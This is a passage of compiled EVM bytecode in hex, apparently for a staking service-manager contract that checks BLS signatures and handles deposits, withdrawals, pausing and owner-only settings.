70a0823114610627578063715018a61461065d57600080fd5b80634223d5511461047b5780634a5bf6321461048e5780634ae07c37146104c6578063595c6a67146104f45780635ac86ab7146105095780635c975abb1461053957600080fd5b806318daeeaf1161025057806318daeeaf146103ae5780632585b25b146103ce5780632e1a7d4d146103ee57806333cfb7b71461040e5780633bc28c8c1461043b578063416c7e5e1461045b57600080fd5b806306045a91146102d357806310d67a2f14610308578063136439dd14610328578063137122b514610348578063171f1d5b1461037757600080fd5b366102ce5760fc546005906020908116036102c25760405162461bcd60e51b81526004016102b990614b81565b60405180910390fd5b6102cc33346109b3565b005b600080fd5b3480156102df57600080fd5b506102f36102ee366004614cf4565b610a43565b60405190151581526020015b60405180910390f35b34801561031457600080fd5b506102cc610323366004614d86565b610b65565b34801561033457600080fd5b506102cc610343366004614da3565b610c18565b34801561035457600080fd5b506102f3610363366004614dcb565b60cc54600160ff9092169190911b16151590565b34801561038357600080fd5b50610397610392366004614ea8565b610d57565b6040805192151583529015156020830152016102ff565b3480156103ba57600080fd5b506102cc6103c9366004614dcb565b610ee1565b3480156103da57600080fd5b506102cc6103e9366004614ef9565b610f29565b3480156103fa57600080fd5b506102cc610409366004614da3565b610fcb565b34801561041a57600080fd5b5061042e610429366004614d86565b6110cc565b6040516102ff9190614f25565b34801561044757600080fd5b506102cc610456366004614d86565b61157f565b34801561046757600080fd5b506102cc610476366004614f80565b611590565b6102cc610489366004614d86565b6116c7565b34801561049a57600080fd5b5060cb546104ae906001600160a01b031681565b6040516001600160a01b0390911681526020016102ff565b3480156104d257600080fd5b506104e66104e136600461525b565b6116fd565b6040516102ff9291906152f6565b34801561050057600080fd5b506102cc612631565b34801561051557600080fd5b506102f3610524366004614dcb565b60fc54600160ff9092169190911b9081161490565b34801561054557600080fd5b5060fc545b6040519081526020016102ff565b34801561056457600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b34801561059857600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b3480156105cc57600080fd5b507f00000000000000000000000000000000000000000000000000000000000000006104ae565b3480156105ff57600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b34801561063357600080fd5b5061054a610642366004614d86565b6001600160a01b0316600090815260ca602052604090205490565b34801561066957600080fd5b506102cc6126f8565b34801561067e57600080fd5b506102cc61068d366004614d86565b61270c565b34801561069e57600080fd5b5060fb546104ae906001600160a01b031681565b3480156106be57600080fd5b506033546001600160a01b03166104ae565b3480156106dc57600080fd5b506102f36106eb366004615387565b6127ac565b3480156106fc57600080fd5b506102cc61070b3660046153d2565b6127d1565b34801561071c57600080fd5b506102cc61072b366004614d86565b61289d565b34801561073c57600080fd5b506102cc61074b36600461547d565b612964565b34801561075c57600080fd5b506102cc61076b3660046154cd565b6129b8565b34801561077c57600080fd5b506107b861078b366004614da3565b60c9602052600090815260409020805460019091015463ffffffff821691640100000000900460ff169083565b6040805163ffffffff90941684529115156020840152908201526060016102ff565b3480156107e657600080fd5b506102cc6107f5366004614da3565b612d8a565b34801561080657600080fd5b506097546102f39060ff1681565b6102cc6108223660046154f4565b612d97565b34801561083357600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b34801561086757600080fd5b5061042e612f7a565b34801561087c57600080fd5b5061054a60cc5481565b34801561089257600080fd5b506102cc6108a1366004614d86565b613326565b3480156108b257600080fd5b5061054a6108c1366004614d86565b60ca6020526000908152604090205481565b3480156108df57600080fd5b506102cc6108ee366004615546565b61339c565b3480156108ff57600080fd5b506102cc61090e366004614d86565b613575565b34801561091f57600080fd5b506102f361092e3660046155aa565b61359f565b34801561093f57600080fd5b506102cc61094e366004614da3565b61364a565b34801561095f57600080fd5b506065546104ae906001600160a01b031681565b34801561097f57600080fd5b506102cc61098e366004615627565b6137a6565b34801561099f57600080fd5b506102cc6109ae366004614dcb565b613b55565b806000036109d757604051632097692160e11b8152600481018290526024016102b9565b6001600160a01b038216600090815260ca6020526040812080548392906109ff9084906156b1565b90915550506001600160a01b038216600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a25050565b60fc54600090600290600490811603610a6e5760405162461bcd60e51b81526004016102b990614b81565b60006001600160a01b038416610a85575085610ab1565b8684604051602001610a989291906156c4565b6040516020818303038152906040528051906020012090505b600081815260c9602052604081205463ffffffff169003610ad6576000925050610b58565b600081815260c96020526040902054640100000000900460ff16610afe576000925050610b58565b60408051602081018d90529081018b9052606081018a90526001600160601b03198916608082015260009060940160408051601f1981840301815291905280516020820120909150610b52888a838a613b9c565b94505050505b5098975050505050505050565b60fb60009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdc91906156df565b6001600160a01b0316336001600160a01b031614610c0c5760405162461bcd60e51b81526004016102b9906156fc565b610c1581613bb4565b50565b60fb5460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610c60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c849190615746565b610ca05760405162461bcd60e51b81526004016102b990615763565b60fc5481811614610d195760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c697479000000000000000060648201526084016102b9565b60fc81905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60008060007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000187876000015188602001518860000151600060028110610d9f57610d9f6157ab565b60200201518951600160200201518a60200151600060028110610dc457610dc46157ab565b60200201518b60200151600160028110610de057610de06157ab565b602090810291909101518c518d830151604051610e3d9a99989796959401988952602089019790975260408801959095526060870193909352608086019190915260a085015260c084015260e08301526101008201526101200190565b6040516020818303038152906040528051906020012060001c610e6091906157c1565b9050610ed3610e79610e728884613cab565b8690613d3c565b610e81613dd1565b610ec9610eba85610eb4604080518082018252600080825260209182015281518083019092526001825260029082015290565b90613cab565b610ec38c613e91565b90613d3c565b886201d4c0613f20565b909890975095505050505050565b610ee961413a565b60cc8054600160ff841690811b199091169091556040517f5f52704e8e0190647930ccde0e43e14e89902d7d8c49c5f9e2544029f45ec12a90600090a250565b600054600390610100900460ff16158015610f4b575060005460ff8083169116105b610f675760405162461bcd60e51b81526004016102b9906157e3565b6000805461ffff191660ff831617610100179055610f858383614194565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050565b60fc54600390600890811603610ff35760405162461bcd60e51b81526004016102b990614b81565b33600090815260ca60205260409020548211156110445733600081815260ca602052604090819020549051632e2a182f60e11b815260048101929092526024820184905260448201526064016102b9565b33600090815260ca602052604081208054849290611063908490615831565b909155505033600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a2604051339083156108fc029084906000818181858888f193505050501580156110c7573d6000803e3d6000fd5b505050565b6040516309aa152760e11b81526001600160a01b0382811660048301526060916000917f000000000000000000000000000000000000000000000000000000000000000016906313542a4e90602401602060405180830381865afa158015611138573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115c9190615844565b60405163871ef04960e01b8152600481018290529091506000906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063871ef04990602401602060405180830381865afa1580156111c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111eb919061585d565b90506001600160c01b038116158061128557507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561125c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112809190615886565b60ff16155b156112a55760408051600080825260208201909252905b50949350505050565b60006112b9826001600160c01b031661427a565b90506000805b8251811015611385577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633ca5a5f5848381518110611309576113096157ab565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa15801561134d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113719190615844565b61137b90836156b1565b91506001016112bf565b506000816001600160401b038111156113a0576113a0614bd0565b6040519080825280602002602001820160405280156113c9578160200160208202803683370190505b5090506000805b84518110156115725760008582815181106113ed576113ed6157ab565b0160200151604051633ca5a5f560e01b815260f89190911c6004820181905291506000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690633ca5a5f590602401602060405180830381865afa158015611462573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114869190615844565b905060005b81811015611567576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063adc804da906044016040805180830381865afa158015611500573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152491906158b8565b6000015186868151811061153a5761153a6157ab565b6001600160a01b03909216602092830291909101909101528461155c816158f9565b95505060010161148b565b5050506001016113d0565b5090979650505050505050565b61158761413a565b610c158161433c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161291906156df565b6001600160a01b0316336001600160a01b0316146116be5760405162461bcd60e51b815260206004820152605c60248201527f424c535369676e6174757265436865636b65722e6f6e6c79436f6f7264696e6160448201527f746f724f776e65723a2063616c6c6572206973206e6f7420746865206f776e6560648201527f72206f6620746865207265676973747279436f6f7264696e61746f7200000000608482015260a4016102b9565b610c15816143a5565b60fc546004906010908116036116ef5760405162461bcd60e51b81526004016102b990614b81565b6116f982346109b3565b5050565b6040805180820190915260608082526020820152600082604001515160405180604001604052806001815260200160008152505114801561175957508260a0015151604051806040016040528060018152602001600081525051145b801561178057508260c0015151604051806040016040528060018152602001600081525051145b80156117a757508260e0015151604051806040016040528060018152602001600081525051145b6118115760405162461bcd60e51b81526020600482015260416024820152600080516020615dde83398151915260448201527f7265733a20696e7075742071756f72756d206c656e677468206d69736d6174636064820152600d60fb1b608482015260a4016102b9565b825151602084015151146118895760405162461bcd60e51b815260206004820152604460248201819052600080516020615dde833981519152908201527f7265733a20696e707574206e6f6e7369676e6572206c656e677468206d69736d6064820152630c2e8c6d60e31b608482015260a4016102b9565b4363ffffffff168463ffffffff16106118f85760405162461bcd60e51b815260206004820152603c6024820152600080516020615dde83398151915260448201527f7265733a20696e76616c6964207265666572656e636520626c6f636b0000000060648201526084016102b9565b60408051808201825260008082526020808301829052835180850185526060808252818301528451808601865260018082529083019390935284518381528086019095529293919082810190803683370190505060208281019190915260408051808201825260018082526000919093015280518281528082019091529081602001602082028036833701905050815260408051808201909152606080825260208201528560200151516001600160401b038111156119b9576119b9614bd0565b6040519080825280602002602001820160405280156119e2578160200160208202803683370190505b5081526020860151516001600160401b03811115611a0257611a02614bd0565b604051908082528060200260200182016040528015611a2b578160200160208202803683370190505b5081602001819052506000611ad760405180604001604052806001815260200160008152507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad29190615886565b6143ec565b905060005b876020015151811015611d6857611b2188602001518281518110611b0257611b026157ab565b6020026020010151805160009081526020918201519091526040902090565b83602001518281518110611b3757611b376157ab565b60209081029190910101528015611bf7576020830151611b58600183615831565b81518110611b6857611b686157ab565b602002602001015160001c83602001518281518110611b8957611b896157ab565b602002602001015160001c11611bf7576040805162461bcd60e51b8152602060048201526024810191909152600080516020615dde83398151915260448201527f7265733a206e6f6e5369676e65725075626b657973206e6f7420736f7274656460648201526084016102b9565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166304ec635184602001518381518110611c3c57611c3c6157ab565b60200260200101518b8b600001518581518110611c5b57611c5b6157ab565b60200260200101516040518463ffffffff1660e01b8152600401611c989392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa158015611cb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cd9919061585d565b6001600160c01b031683600001518281518110611cf857611cf86157ab565b602002602001018181525050611d5e610e72611d328486600001518581518110611d2457611d246157ab565b60200260200101511661447f565b8a602001518481518110611d4857611d486157ab565b60200260200101516144aa90919063ffffffff16565b9450600101611adc565b5050611d738361458d565b60975490935060ff16600081611d8a576000611e0c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c448feb86040518163ffffffff1660e01b8152600401602060405180830381865afa158015611de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e0c9190615844565b905060005b604051806040016040528060018152602001600081525051811015612502578215611f9d578963ffffffff16827f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663249a0c4260405180604001604052806001815260200160008152508581518110611e9557611e956157ab565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015611ed9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611efd9190615844565b611f0791906156b1565b11611f9d5760405162461bcd60e51b81526020600482015260666024820152600080516020615dde83398151915260448201527f7265733a205374616b6552656769737472792075706461746573206d7573742060648201527f62652077697468696e207769746864726177616c44656c6179426c6f636b732060848201526577696e646f7760d01b60a482015260c4016102b9565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166368bccaac60405180604001604052806001815260200160008152508381518110611ff457611ff46157ab565b602001015160f81c60f81b60f81c8c8c60a001518581518110612019576120196157ab565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015612075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120999190615912565b6001600160401b0319166120bc8a604001518381518110611b0257611b026157ab565b67ffffffffffffffff1916146121585760405162461bcd60e51b81526020600482015260616024820152600080516020615dde83398151915260448201527f7265733a2071756f72756d41706b206861736820696e2073746f72616765206460648201527f6f6573206e6f74206d617463682070726f76696465642071756f72756d2061706084820152606b60f81b60a482015260c4016102b9565b61218889604001518281518110612171576121716157ab565b602002602001015187613d3c90919063ffffffff16565b95507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c8294c56604051806040016040528060018152602001600081525083815181106121e1576121e16157ab565b602001015160f81c60f81b60f81c8c8c60c001518581518110612206576122066157ab565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015612262573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612286919061593d565b8560200151828151811061229c5761229c6157ab565b6001600160601b039092166020928302919091018201528501518051829081106122c8576122c86157ab565b6020026020010151856000015182815181106122e6576122e66157ab565b60200260200101906001600160601b031690816001600160601b0316815250506000805b8a60200151518110156124f85761237586600001518281518110612330576123306157ab565b602002602001015160405180604001604052806001815260200160008152508581518110612360576123606157ab565b016020015160f81c60ff161c60019081161490565b156124f0577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f2be94ae604051806040016040528060018152602001600081525085815181106123d1576123d16157ab565b602001015160f81c60f81b60f81c8e896020015185815181106123f6576123f66157ab565b60200260200101518f60e001518881518110612414576124146157ab565b6020026020010151878151811061242d5761242d6157ab565b60209081029190910101516040516001600160e01b031960e087901b16815260ff909416600485015263ffffffff92831660248501526044840191909152166064820152608401602060405180830381865afa158015612491573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124b5919061593d565b87518051859081106124c9576124c96157ab565b602002602001018181516124dd919061595a565b6001600160601b03169052506001909101905b60010161230a565b5050600101611e11565b50505060008061251c8a868a606001518b60800151610d57565b915091508161258d5760405162461bcd60e51b81526020600482015260436024820152600080516020615dde83398151915260448201527f7265733a2070616972696e6720707265636f6d70696c652063616c6c206661696064820152621b195960ea1b608482015260a4016102b9565b806125ee5760405162461bcd60e51b81526020600482015260396024820152600080516020615dde83398151915260448201527f7265733a207369676e617475726520697320696e76616c69640000000000000060648201526084016102b9565b50506000878260200151604051602001612609929190615981565b60408051808303601f1901815291905280516020909101209299929850919650505050505050565b60fb5460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015612679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061269d9190615746565b6126b95760405162461bcd60e51b81526004016102b990615763565b60001960fc81905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61270061413a565b61270a6000614628565b565b600054600290610100900460ff1615801561272e575060005460ff8083169116105b61274a5760405162461bcd60e51b81526004016102b9906157e3565b6000805461ffff191660ff83161761010017905561276782613575565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b60008184846040516127bf9291906159c9565b60405180910390201490509392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146128195760405162461bcd60e51b81526004016102b9906159d9565b604051639926ee7d60e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690639926ee7d906128679085908590600401615a97565b600060405180830381600087803b15801561288157600080fd5b505af1158015612895573d6000803e3d6000fd5b505050505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146128e55760405162461bcd60e51b81526004016102b9906159d9565b6040516351b27a6d60e11b81526001600160a01b0382811660048301527f0000000000000000000000000000000000000000000000000000000000000000169063a364f4da906024015b600060405180830381600087803b15801561294957600080fd5b505af115801561295d573d6000803e3d6000fd5b5050505050565b61296c61413a565b60405163a98fb35560e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063a98fb3559061292f908490600401615ae2565b60cb546001600160a01b031633146129f85760cb54604051632cbe419560e01b81523360048201526001600160a01b0390911660248201526044016102b9565b60fc54600190600290811603612a205760405162461bcd60e51b81526004016102b990614b81565b60005a905060008585604051602001612a3a9291906156c4565b60408051601f198184030181529181528151602092830120600081815260c990935290822080549193509163ffffffff9091169003612a8f576040516311cb69a760e11b8152600481018390526024016102b9565b8054640100000000900460ff1615612abd57604051634e78d7f960e11b8152600481018390526024016102b9565b805464ff00000000191664010000000017815560018101546001600160a01b038716600090815260ca60205260409020541015612b405760018101546001600160a01b038716600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482019290925260448101919091526064016102b9565b8054600090612b5790849063ffffffff16886116fd565b509050604360ff168160200151600081518110612b7657612b766157ab565b6020026020010151612b889190615af5565b6001600160601b031660648260000151600081518110612baa57612baa6157ab565b60200260200101516001600160601b0316612bc59190615b18565b1015612c585760648160000151600081518110612be457612be46157ab565b60200260200101516001600160601b0316612bff9190615b18565b604360ff168260200151600081518110612c1b57612c1b6157ab565b6020026020010151612c2d9190615af5565b60405163530f5c4560e11b815260048101929092526001600160601b031660248201526044016102b9565b6040516001600160a01b038816815288907f8511746b73275e06971968773119b9601fc501d7bdf3824d8754042d148940e29060200160405180910390a260003a5a612ca49087615831565b612cb190620111706156b1565b612cbb9190615b18565b9050600083600101548210612cd4578360010154612cd6565b815b6001600160a01b038a16600090815260ca6020526040812080549293508392909190612d03908490615831565b90915550506001600160a01b038916600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a260cb546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612d7d573d6000803e3d6000fd5b5050505050505050505050565b612d9261413a565b60cc55565b60fc54600090600190811603612dbf5760405162461bcd60e51b81526004016102b990614b81565b60008533604051602001612dd49291906156c4565b60408051601f198184030181529181528151602092830120600081815260c990935291205490915063ffffffff1615612e2357604051630c40bc4360e21b8152600481018290526024016102b9565b3415612e805733600090815260ca602052604081208054349290612e489084906156b1565b909155505033600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a25b33600090815260ca6020526040902054831115612ed15733600081815260ca602052604090819020549051632e2a182f60e11b815260048101929092526024820185905260448201526064016102b9565b604080516060810182526000602080830182815263ffffffff4381811686528587018a815288865260c99094529386902085518154935115156401000000000264ffffffffff1990941692169190911791909117815590516001909101559151909188917f8801fc966deb2c8f563a103c35c9e80740585c292cd97518587e6e7927e6af5591612f69913391908b908b908b90615b2f565b60405180910390a250505050505050565b606060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130009190615886565b60ff1690508060000361302157505060408051600081526020810190915290565b6000805b828110156130cc57604051633ca5a5f560e01b815260ff821660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690633ca5a5f590602401602060405180830381865afa158015613094573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130b89190615844565b6130c290836156b1565b9150600101613025565b506000816001600160401b038111156130e7576130e7614bd0565b604051908082528060200260200182016040528015613110578160200160208202803683370190505b5090506000805b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015613175573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131999190615886565b60ff1681101561331c57604051633ca5a5f560e01b815260ff821660048201526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690633ca5a5f590602401602060405180830381865afa15801561320d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132319190615844565b905060005b81811015613312576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063adc804da906044016040805180830381865afa1580156132ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132cf91906158b8565b600001518585815181106132e5576132e56157ab565b6001600160a01b039092166020928302919091019091015283613307816158f9565b945050600101613236565b5050600101613117565b5090949350505050565b61332e61413a565b6001600160a01b0381166133935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102b9565b610c1581614628565b600054610100900460ff16158080156133bc5750600054600160ff909116105b806133d65750303b1580156133d6575060005460ff166001145b6133f25760405162461bcd60e51b81526004016102b9906157e3565b6000805460ff191660011790558015613415576000805461ff0019166101001790555b6001600160a01b03861661345b57604051630b0f5aa160e11b815260206004820152600c60248201526b34b734ba34b0b627bbb732b960a11b60448201526064016102b9565b6001600160a01b0385166134a557604051630b0f5aa160e11b815260206004820152601060248201526f3932bbb0b93239a4b734ba34b0ba37b960811b60448201526064016102b9565b6001600160a01b0384166134f057604051630b0f5aa160e11b815260206004820152601160248201527030b634b3b732b220b3b3b932b3b0ba37b960791b60448201526064016102b9565b6134fa868661467a565b60cb80546001600160a01b0319166001600160a01b03861617905561351e86614628565b6135288383614194565b8015612895576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050565b61357d61413a565b60cb80546001600160a01b0319166001600160a01b0392909216919091179055565b60fc546000906002906004908116036135ca5760405162461bcd60e51b81526004016102b990614b81565b6040516306045a9160e01b815230906306045a91906135fc908c908c908c908c908c908c908c90600090600401615b86565b602060405180830381865afa158015613619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061363d9190615746565b9998505050505050505050565b60fb60009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561369d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136c191906156df565b6001600160a01b0316336001600160a01b0316146136f15760405162461bcd60e51b81526004016102b9906156fc565b60fc5419811960fc5419161461376f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c697479000000000000000060648201526084016102b9565b60fc81905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610d4c565b6065546001600160a01b0316331461383b5760405162461bcd60e51b815260206004820152604c60248201527f536572766963654d616e61676572426173652e6f6e6c7952657761726473496e60448201527f69746961746f723a2063616c6c6572206973206e6f742074686520726577617260648201526b32399034b734ba34b0ba37b960a11b608482015260a4016102b9565b60005b81811015613b0657828282818110613858576138586157ab565b905060200281019061386a9190615be8565b61387b906040810190602001614d86565b6001600160a01b03166323b872dd333086868681811061389d5761389d6157ab565b90506020028101906138af9190615be8565b604080516001600160e01b031960e087901b1681526001600160a01b039485166004820152939092166024840152013560448201526064016020604051808303816000875af1158015613906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061392a9190615746565b50600083838381811061393f5761393f6157ab565b90506020028101906139519190615be8565b613962906040810190602001614d86565b604051636eb1769f60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063dd62ed3e90604401602060405180830381865afa1580156139d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139f49190615844565b9050838383818110613a0857613a086157ab565b9050602002810190613a1a9190615be8565b613a2b906040810190602001614d86565b6001600160a01b031663095ea7b37f000000000000000000000000000000000000000000000000000000000000000083878787818110613a6d57613a6d6157ab565b9050602002810190613a7f9190615be8565b60400135613a8d91906156b1565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015613ad8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613afc9190615746565b505060010161383e565b5060405163fce36c7d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063fce36c7d906128679085908590600401615c6e565b613b5d61413a565b60cc8054600160ff841690811b9091179091556040517fec54a85c01b5fc7fb41be0f33eabc56f2981110da8317b9817bc7c718f6d7bfe90600090a250565b600083613baa8685856146f7565b1495945050505050565b6001600160a01b038116613c425760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a4016102b9565b60fb54604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a160fb80546001600160a01b0319166001600160a01b0392909216919091179055565b6040805180820190915260008082526020820152613cc7614aa7565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa90508080613cf657fe5b5080613d345760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016102b9565b505092915050565b6040805180820190915260008082526020820152613d58614ac5565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa90508080613d9357fe5b5080613d345760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016102b9565b613dd9614ae3565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b604080518082019091526000808252602082015260008080613ec1600080516020615d9e833981519152866157c1565b90505b613ecd816147f4565b9093509150600080516020615d9e8339815191528283098303613f06576040805180820190915290815260208101919091529392505050565b600080516020615d9e833981519152600182089050613ec4565b604080518082018252868152602080820186905282518084019093528683528201849052600091829190613f52614b08565b60005b600281101561410d576000613f6b826006615b18565b9050848260028110613f7f57613f7f6157ab565b60200201515183613f918360006156b1565b600c8110613fa157613fa16157ab565b6020020152848260028110613fb857613fb86157ab565b60200201516020015183826001613fcf91906156b1565b600c8110613fdf57613fdf6157ab565b6020020152838260028110613ff657613ff66157ab565b60200201515151836140098360026156b1565b600c8110614019576140196157ab565b6020020152838260028110614030576140306157ab565b60200201515160016020020151836140498360036156b1565b600c8110614059576140596157ab565b6020020152838260028110614070576140706157ab565b60200201516020015160006002811061408b5761408b6157ab565b60200201518361409c8360046156b1565b600c81106140ac576140ac6157ab565b60200201528382600281106140c3576140c36157ab565b6020020151602001516001600281106140de576140de6157ab565b6020020151836140ef8360056156b1565b600c81106140ff576140ff6157ab565b602002015250600101613f55565b50614116614b27565b60006020826101808560088cfa9151919c9115159b50909950505050505050505050565b6033546001600160a01b0316331461270a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102b9565b60fb546001600160a01b03161580156141b557506001600160a01b03821615155b6142375760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a4016102b9565b60fc81905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26116f982613bb4565b60606000806142888461447f565b61ffff166001600160401b038111156142a3576142a3614bd0565b6040519080825280601f01601f1916602001820160405280156142cd576020820181803683370190505b5090506000805b8251821080156142e5575061010081105b1561331c576001811b93508584161561432c578060f81b83838151811061430e5761430e6157ab565b60200101906001600160f81b031916908160001a9053508160010191505b614335816158f9565b90506142d4565b606554604080516001600160a01b03928316815291831660208301527fe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6097805460ff19168215159081179091556040519081527f40e4ed880a29e0f6ddce307457fb75cddf4feef7d3ecb0301bfdf4976a0e2dfc9060200160405180910390a150565b6000806143f884614876565b9050808360ff166001901b116144765760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c75650060648201526084016102b9565b90505b92915050565b6000805b82156